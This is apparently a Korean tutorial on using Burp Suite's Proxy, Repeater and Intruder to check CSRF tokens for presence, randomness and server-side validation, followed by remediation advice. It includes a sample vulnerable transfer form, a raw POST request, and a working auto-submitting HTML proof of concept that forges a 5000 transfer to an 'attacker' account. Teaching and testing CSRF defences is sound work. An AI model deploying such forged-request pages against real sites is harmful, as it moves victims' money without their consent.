Burp로 CSRF 토큰 검사 및 폼 하이재킹
Burp를 활용해 CSRF 취약점 탐지와 토큰 검증 절차, 폼 하이재킹 검사 방법을 초보자도 이해하기 쉬운 흐름으로 정리한 취약점 분석
목차
서론: CSRF의 개념과 진단 목표
CSRF(Cross-Site Request Forgery)는 사용자의 인증 상태를 악용해 원치 않는 요청을 서버에 전송하게 하는 취약점이다. 이 글은 Burp를 사용해 CSRF 토큰 유무와 토큰 검증의 강도를 확인하는 방법, 그리고 폼 하이재킹 가능 여부를 실제 사례 중심으로 설명한다. 처음 접하는 독자도 따라오기 쉽도록 절차와 예제를 차례로 정리한다.
CSRF 방어 기본 원리
토큰 기반 방어
서버는 폼을 생성할 때 랜덤한 토큰을 삽입하고, 요청 시 해당 토큰을 검증한다. 토큰이 유효하면 요청을 처리한다. 토큰은 예측 불가능해야 하며, 세션과 연동되어야 한다.
기타 방어 기법
- SameSite 쿠키 설정으로 브라우저의 크로스 사이트 전송 제한
- Referer 혹은 Origin 헤더 검증
- 사용자 상호작용(예: CAPTCHA, 확인 모달)
사전 준비: Burp 설정과 기본 흐름
Burp Proxy를 통해 브라우저 트래픽을 가로채고, Repeater로 요청을 반복 검사한다. Intruder는 토큰 패턴 테스트나 파라미터 변조에 사용한다. 기본 절차는 다음과 같다.
- 브라우저를 Burp 프록시로 구성하고 대상 애플리케이션 접속
- 취약 가능성이 있는 폼 제출 흐름을 캡처
- 폼 안의 숨겨진 필드나 쿠키, 헤더에 토큰 존재 여부 확인
- 토큰 검증 우회 시나리오를 Repeater/Intruder로 검증
실습 예제: 취약한 폼 확인
다음은 취약한 예시 폼이다. 토큰이 없거나 고정값이면 취약점 가능성이 높다.
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="12345" />
<input name="to_account" value="victim" />
<input name="amount" value="1000" />
<input type="submit" value="Send" />
</form>
Burp로 이 폼을 캡처한 뒤 토큰 값이 매번 바뀌는지 확인한다. 값이 고정이면 취약 확률이 크다.
토큰 검증 절차: Burp로 확인하는 방법
1) 토큰 존재 확인
폼의 숨은 필드, 쿠키, 혹은 요청 헤더에 토큰이 있는지 검사한다. 토큰은 보통 csrf, token, _csrf 등으로 표기된다.
2) 토큰 무작위성 검사
동일한 페이지를 여러 번 새로고침하거나 다른 세션으로 접근해 값을 비교한다. Repeater로 동일 작업을 반복해서 토큰이 고정인지 확인한다.
3) 서버 검증 방식 확인
토큰을 임의값으로 바꿔 요청을 전송해 서버 응답을 확인한다. 유효하지 않은 토큰에 대해 4xx 응답이나 오류 메시지가 나오면 검증이 존재한다는 뜻이다. 반대로 정상 처리되면 검증이 우회되었거나 토큰이 무의미한 값이다.
Burp 활용 예시: Repeater와 Intruder
실제 워크플로우는 다음과 같다.
- Proxy에서 폼 제출 요청을 Repeater로 보냄
- 토큰 값을 바꿔가며 서버 반응 관찰
- Intruder로 토큰 자리(payload position)에 여러 값(고정값, 빈값, 랜덤값)을 넣어 자동화 테스트 수행
POST /transfer HTTP/1.1
Host: target.local
Cookie: session=abcdef123456
Content-Type: application/x-www-form-urlencoded
csrf_token=12345&to_account=victim&amount=1000
위 요청에서 csrf_token 값을 제거하거나 변경했을 때 서버가 어떻게 반응하는지 비교한다. 변경 후에도 동일한 결과가 나오면 토큰 검증 로직에 결함이 있을 가능성이 높다.
폼 하이재킹 검사: PoC 작성
폼 하이재킹(또는 CSRF PoC)은 공격자가 외부 페이지에서 자동으로 요청을 전송하도록 만드는 것이다. 다음 예제는 자동 제출 HTML이다.
<!doctype html>
<html>
<body>
<form id="attack" action="https://target.local/transfer" method="POST">
<input type="hidden" name="to_account" value="attacker" />
<input type="hidden" name="amount" value="5000" />
</form>
<script>
document.getElementById('attack').submit();
</script>
</body>
</html>
이 페이지가 공격자 사이트에서 로드될 때, 사용자가 이미 인증된 상태라면 요청이 전송된다. 토큰이 없거나 검증이 약하면 공격 성공으로 이어진다.
검증 결과 해석과 권고 사항
- 토큰 미존재: 즉시 토큰 기반 검증 도입 권장
- 고정 토큰: 토큰 생성 로직 개선 필요
- 토큰이 있으나 서버에서 무시됨: 서버 측 검증 로직 점검
- Referer/Origin 검증 병행과 SameSite 쿠키 적용 권장
실무에서는 단일 방법에 의존하지 않고 다층 방어를 적용하는 것이 안전하다. Burp CSRF 테스트로 얻은 증거를 기반으로 개발팀과 구체적 수정 범위를 공유하면 효율적인 패치가 가능하다.
마무리
Burp를 활용한 CSRF 진단은 비교적 간단하다. 핵심은 토큰의 존재, 무작위성, 서버 검증 여부를 체계적으로 확인하는 것이다. 위 절차와 예제를 통해 CSRF 토큰 검증 Burp 검사와 Burp 폼 하이재킹 검사 흐름을 이해하면 실제 점검 시 실무적 판단에 도움이 된다.